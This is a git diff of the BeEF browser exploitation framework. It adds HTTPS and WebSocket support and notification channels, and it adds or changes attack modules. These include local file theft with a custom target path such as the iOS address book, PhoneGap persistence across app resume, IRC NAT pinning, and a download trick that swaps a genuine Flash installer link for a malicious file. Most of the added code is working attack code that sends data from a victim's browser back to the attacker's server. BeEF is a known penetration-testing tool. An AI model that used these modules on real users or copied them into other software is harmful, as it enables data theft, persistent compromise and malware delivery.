EventMachine::WebSocket.start(wsopt) do |ws| + # begin + # print_debug "New WebSocket channel open." + # ws.onmessage { |msg| + # msg_hash = JSON.parse("#{msg}") + # #@note messageHash[result] is Base64 encoded + # if (msg_hash["cookie"]!= nil) + # print_debug("WebSocket - Browser says helo! WebSocket is running") + # #insert new connection in activesocket + # @@activeSocket["#{msg_hash["cookie"]}"] = ws + # print_debug("WebSocket - activeSocket content [#{@@activeSocket}]") + # elsif msg_hash["alive"] != nil + # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + # unless hooked_browser.nil? + # hooked_browser.lastseen = Time.new.to_i + # hooked_browser.count! + # hooked_browser.save + # + # #Check if new modules need to be sent + # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + # + # #@todo antisnatchor: + # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # #Check if new forged requests need to be sent (Requester/TunnelingProxy) + # dhook = BeEF::Extension::Requester::API::Hook.new + # dhook.requester_run(hooked_browser, '') + # + # #Check if new XssRays scan need to be started + # xssrays = BeEF::Extension::Xssrays::API::Scan.new + # xssrays.start_scan(hooked_browser, '') + # end + # else + # #json recv is a cmd response decode and send all to + # #we have to call dynamicreconstructor handler camp must be websocket + # #print_debug("Received from WebSocket #{messageHash}") + # execute(msg_hash) + # end + # } + # rescue Exception => e + # print_error "WebSocket error: #{e}" + # end + # end + # } + #} + + + end + + def start_websocket_server(ws_options, secure) Thread.new { sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets - EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start) - EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws| + EventMachine.run { + EventMachine::WebSocket.start(ws_options) do |ws| begin - print_debug "New WebSocket channel open." + secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.") ws.onmessage { |msg| msg_hash = JSON.parse("#{msg}") #@note messageHash[result] is Base64 encoded @@ -80,7 +219,6 @@ module BeEF end } } - end #@note retrieve the right websocket channel given an hooked browser session @@ -115,7 +253,7 @@ module BeEF handler = data["handler"] if handler.match(/command/) BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], - @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) + @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) else #processing results from extensions, call the right handler data["beefhook"] = hooked_browser data["results"] = JSON.parse(Base64.decode64(data["result"])) diff --git a/core/main/server.rb b/core/main/server.rb index d15ad9198..b8ba556fd 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -48,7 +48,8 @@ module BeEF 'beef_public' => @configuration.get('beef.http.public'), 'beef_public_port' => @configuration.get('beef.http.public_port'), 'beef_dns' => @configuration.get('beef.http.dns'), - 'beef_hook' => @configuration.get('beef.http.hook_file') + 'beef_hook' => @configuration.get('beef.http.hook_file'), + 'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http" } end @@ -108,6 +109,13 @@ module BeEF @configuration.get('beef.http.host'), @configuration.get('beef.http.port'), @rack_app) + + if @configuration.get('beef.http.https.enable') == true + @http_server.ssl = true + @http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'), + :cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'), + :verify_peer => false} + end end end diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 09108cc88..a7e7905b6 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -308,7 +308,7 @@ class Core if driver.interface.targetid.length > 1 driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") end end diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index c75031da8..712989a31 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -19,10 +19,11 @@ beef: enable: true name: 'Evasion' authors: ["antisnatchor"] + exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"] scramble_variables: true scramble_cookies: true scramble: beef: "beef" Beef: "Beef" evercookie: "evercookie" - chain: ["scramble", "minify", "base_64"] + chain: ["scramble", "minify"] diff --git a/extensions/notifications/channels/email.rb b/extensions/notifications/channels/email.rb new file mode 100644 index 000000000..fa49f024f --- /dev/null +++ b/extensions/notifications/channels/email.rb @@ -0,0 +1,60 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# +# +require 'net/smtp' + +module BeEF +module Extension +module Notifications +module Channels + + class Email + + # + # Constructor + # + def initialize(to_address, message) + @config = BeEF::Core::Configuration.instance + @from_address = @config.get('beef.extension.notifications.email.from_address') + @smtp_host = @config.get('beef.extension.notifications.email.smtp_host') + @smtp_port = @config.get('beef.extension.notifications.email.smtp_port') + @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') + @password = @config.get('beef.extension.notifications.email.smtp_tls_password') + + # configure the email client + msg = "Subject: BeEF Notification\n\n" + message + smtp = Net::SMTP.new @smtp_host, @smtp_port + #if @smtp_tls_enable? + # smtp.enable_starttls + # smtp.start('beefproject.com', @from_address, @password, :login) do + # smtp.send_message(msg, @from_address, @to_address) + # end + #else + smtp.start do + smtp.send_message(msg, @from_address, to_address) + end + #end + + end + + end + +end +end +end +end + diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb new file mode 100644 index 000000000..9f0ce6747 --- /dev/null +++ b/extensions/notifications/channels/tweet.rb @@ -0,0 +1,53 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# +# +require 'twitter' + +module BeEF +module Extension +module Notifications +module Channels + + class Tweet + + # + # Constructor + # + def initialize(username, message) + @config = BeEF::Core::Configuration.instance + + # configure the Twitter client + Twitter.configure do |config| + config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key') + config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret') + config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token') + config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') + end + + begin + Twitter.direct_message_create(username, message) + rescue + print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n" + end + end + end + +end +end +end +end + diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml new file mode 100644 index 000000000..925921522 --- /dev/null +++ b/extensions/notifications/config.yaml @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + extension: + notifications: + enable: false + name: Notifications + twitter: + enable: false + consumer_key: app_consumer_key + consumer_secret: app_consumer_secret + oauth_token: your_oauth_token_for_this_app + oauth_token_secret: your_oauth_token_secret_for_this_app + target_username: + email: + enable: false + from_address: sender_email_address + to_address: receipient_email_address + smtp_host: 127.0.0.1 + smtp_port: 25 diff --git a/extensions/notifications/extension.rb b/extensions/notifications/extension.rb new file mode 100644 index 000000000..d5c5c04c8 --- /dev/null +++ b/extensions/notifications/extension.rb @@ -0,0 +1,30 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Notifications + + extend BeEF::API::Extension + + @short_name = 'notifications' + @full_name = 'Notifications' + @description = 'Generates external notifications for events in BeEF' + +end +end +end + +require 'extensions/notifications/notifications' diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb new file mode 100644 index 000000000..b9e5cbb94 --- /dev/null +++ b/extensions/notifications/notifications.rb @@ -0,0 +1,57 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'extensions/notifications/channels/tweet' +require 'extensions/notifications/channels/email' + +module BeEF +module Extension +module Notifications + + # + # Notifications class + # + class Notifications + + def initialize(from, event, time_now, hb) + @config = BeEF::Core::Configuration.instance + if @config.get('beef.extension.notifications.enable') == false + # notifications are not enabled + return nil + else + @from = from + @event = event + @time_now = time_now + @hb = hb + end + + message = "#{from} #{event} #{time_now} #{hb}" + + if @config.get('beef.extension.notifications.twitter.enable') == true + username = @config.get('beef.extension.notifications.twitter.target_username') + BeEF::Extension::Notifications::Channels::Tweet.new(username,message) + end + + if @config.get('beef.extension.notifications.email.enable') == true + to_address = @config.get('beef.extension.notifications.email.to_address') + BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + end + end + + end + +end +end +end diff --git a/modules/misc/local_file_theft/command.js b/modules/misc/local_file_theft/command.js index 148f79d8f..614cdc659 100644 --- a/modules/misc/local_file_theft/command.js +++ b/modules/misc/local_file_theft/command.js @@ -86,6 +86,16 @@ result = ''; } } + fileList['custom']= { + // user defined + "discover" :'', + + "post" :{ + 'result':'<%== @target_file %>', + } + } + + functionList = { mac:{ // OS X disovery @@ -138,11 +148,25 @@ result = ''; grabFiles(homedir,"ios") } } - - alert("ipad") + return true; } }, + custom:{ + // Grab custom stuff + discover : function(){ + tmp = new XMLHttpRequest() + tmp.open('get',fileList['custom']['discover']) + tmp.send() + tmp.onreadystatechange=function(){ + if(tmp.readyState==4){ + homedir = "file:///"; + grabFiles(homedir,"custom") + } + } + return true; + } + }, android:{ // figure out what app (gmail, browser, or dolphin?) android discover : function(){ @@ -172,19 +196,27 @@ result = ''; function identify(){ - if(/.*Android.*/.test(navigator.userAgent)){ - return "android" - } else if(/Linux.*/i.test(navigator.platform)){ - return "linux" - } else if(/iP.*/i.test(navigator.platform)){ - return "ios" - } else if(/.*Mac.*/i.test(navigator.userAgent)){ - return "mac" - } else if(/.*Windows.*/i.test(navigator.userAgent)){ - return "windows" - } else if(/.*hpwOS.*/i.test(navigator.platform)){ - return "webos" - } + + // custom file is specified + if ('<%== @target_file %>' != 'autodetect') { + return "custom" + + // determine a good file to steal based on platform + } else { + if(/.*Android.*/.test(navigator.userAgent)){ + return "android" + } else if(/Linux.*/i.test(navigator.platform)){ + return "linux" + } else if(/iP.*/i.test(navigator.platform)){ + return "ios" + } else if(/.*Mac.*/i.test(navigator.userAgent)){ + return "mac" + } else if(/.*Windows.*/i.test(navigator.userAgent)){ + return "windows" + } else if(/.*hpwOS.*/i.test(navigator.platform)){ + return "webos" + } + } } diff --git a/modules/misc/local_file_theft/module.rb b/modules/misc/local_file_theft/module.rb index d75a3d236..20dd2a5a9 100644 --- a/modules/misc/local_file_theft/module.rb +++ b/modules/misc/local_file_theft/module.rb @@ -19,6 +19,16 @@ class Local_file_theft < BeEF::Core::Command + def self.options + return [ + {'name' => 'target_file', + 'description' => 'The full path to the local file to steal e.g. file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb', + 'ui_label' => 'Target file', + 'value' => 'autodetect' + } + ] + end + def post_execute content = {} content['result'] = @datastore['result'] diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js index 7debb8fe8..4caef4fef 100644 --- a/modules/network/nat_pinning_irc/command.js +++ b/modules/network/nat_pinning_irc/command.js @@ -25,7 +25,7 @@ beef.execute(function() { var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement("form"); - var action = connectto + ":6667/" + var action = "http://" + connectto + ":6667/" myForm.setAttribute("name", "data"); myForm.setAttribute("method", "post"); diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 4a411204a..a934c79da 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -20,8 +20,11 @@ class Irc_nat_pinning < BeEF::Core::Command end def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ - {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'}, + {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host}, {'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'}, {'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'} ] diff --git a/modules/phonegap/phonegap_check_connection/command.js b/modules/phonegap/phonegap_check_connection/command.js new file mode 100644 index 000000000..470ab3638 --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/command.js @@ -0,0 +1,37 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +beef.execute(function() { + var connection_type; + + getConnectionType = function() { + var states = {}; + states[Connection.UNKNOWN] = 'Unknown connection'; + states[Connection.ETHERNET] = 'Ethernet connection'; + states[Connection.WIFI] = 'WiFi connection'; + states[Connection.CELL_2G] = 'Cell 2G connection'; + states[Connection.CELL_3G] = 'Cell 3G connection'; + states[Connection.CELL_4G] = 'Cell 4G connection'; + states[Connection.NONE] = 'No network connection'; + return states[navigator.network.connection.type]; + } + + try { + connection_type = getConnectionType(); + } catch(e) { + connection_type = "Unable to determine connection type." + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type); +}); diff --git a/modules/phonegap/phonegap_check_connection/config.yaml b/modules/phonegap/phonegap_check_connection/config.yaml new file mode 100644 index 000000000..37ebf924b --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# phonegap +# +beef: + module: + phonegap_check_connection: + enable: true + category: "Phonegap" + name: "Check connection" + description: "Find out connection type e.g. Wifi, 3G.." + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_check_connection/module.rb b/modules/phonegap/phonegap_check_connection/module.rb new file mode 100644 index 000000000..708c0d384 --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/module.rb @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# phonegap +# + +class Phonegap_check_connection < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index 1c0ae566b..bc062c00c 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -23,6 +23,7 @@ beef.execute(function() { phonegap_details = "" + " name: " + device.name + " phonegap api: " + device.phonegap + + " cordova api: " + device.cordova + " platform: " + device.platform + " uuid: " + device.uuid + " version: " + device.version; diff --git a/modules/phonegap/phonegap_persist_resume/command.js b/modules/phonegap/phonegap_persist_resume/command.js new file mode 100644 index 000000000..39bb9ed7e --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/command.js @@ -0,0 +1,31 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// +// persist on over app's sleep/wake events +beef.execute(function() { + var result; + + try { + document.addEventListener("resume", beef_init(), false); + result = 'success'; + + } catch (e) { + for(var n in e) { + result+= n + " " + e[n] + "\n"; + } + } + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); +}); diff --git a/modules/phonegap/phonegap_persist_resume/config.yaml b/modules/phonegap/phonegap_persist_resume/config.yaml new file mode 100644 index 000000000..0d08526ab --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# persist on over app's sleep/wake events +beef: + module: + phonegap_persist_resume: + enable: true + category: "Phonegap" + name: "Persist resume" + description: "Persist over applications sleep/wake events" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_persist_resume/module.rb b/modules/phonegap/phonegap_persist_resume/module.rb new file mode 100644 index 000000000..bef0ca663 --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/module.rb @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# persist on over app's sleep/wake events +class Phonegap_persist_resume < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml index 78131d2c4..ad567c783 100644 --- a/modules/social_engineering/fake_flash_update/config.yaml +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Social Engineering" name: "Fake Flash Update" - description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source" + description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source. Note: the Chrome extension delivery will work on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded." authors: ["mh"] target: user_notify: ['ALL'] diff --git a/modules/social_engineering/lcamtuf_download/command.js b/modules/social_engineering/lcamtuf_download/command.js new file mode 100644 index 000000000..2982cd00b --- /dev/null +++ b/modules/social_engineering/lcamtuf_download/command.js @@ -0,0 +1,37 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var maliciousurl = '<%= @malicious_file_uri %>'; + var realurl = '<%= @real_file_uri %>'; + var w; + var once = '<%= @do_once %>'; + + function doit() { + + if (!beef.browser.isIE()) { + w = window.open('data:text/html,', 'foo'); + setTimeout(donext, 4500); + } + + } + function donext() { + window.open(maliciousurl, 'foo'); + if (once != true) setTimeout(donext, 5000); + once = true; + } + doit(); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed"); +}); diff --git a/modules/social_engineering/lcamtuf_download/config.yaml b/modules/social_engineering/lcamtuf_download/config.yaml new file mode 100644 index 000000000..329af0cbc --- /dev/null +++ b/modules/social_engineering/lcamtuf_download/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + lcamtuf_download: + enable: true + category: "Social Engineering" + name: "Lcamtuf Download" + description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." + authors: ["Bart Leppens"] + target: + user_notify: ["ALL"] + not_working: ["IE"] diff --git a/modules/social_engineering/lcamtuf_download/module.rb b/modules/social_engineering/lcamtuf_download/module.rb new file mode 100644 index 000000000..7d163b78c --- /dev/null +++ b/modules/social_engineering/lcamtuf_download/module.rb @@ -0,0 +1,48 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Lcamtuf_download < BeEF::Core::Command + + # set and return all options for this module + def self.options + + return [{ + 'name' => 'real_file_uri', + 'description' => 'The web accessible URI for the real file.', + 'ui_label' => 'Real File Path', + 'value' => 'http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869', + 'width' => '300px' + }, + { + 'name' => 'malicious_file_uri', + 'description' => 'The web accessible URI for the malicious file.', + 'ui_label' => 'Malicious File Path', + 'value' => '', + 'width' => '300px' + }, + { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore', + 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']], + 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true + }] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + + save content + end + +end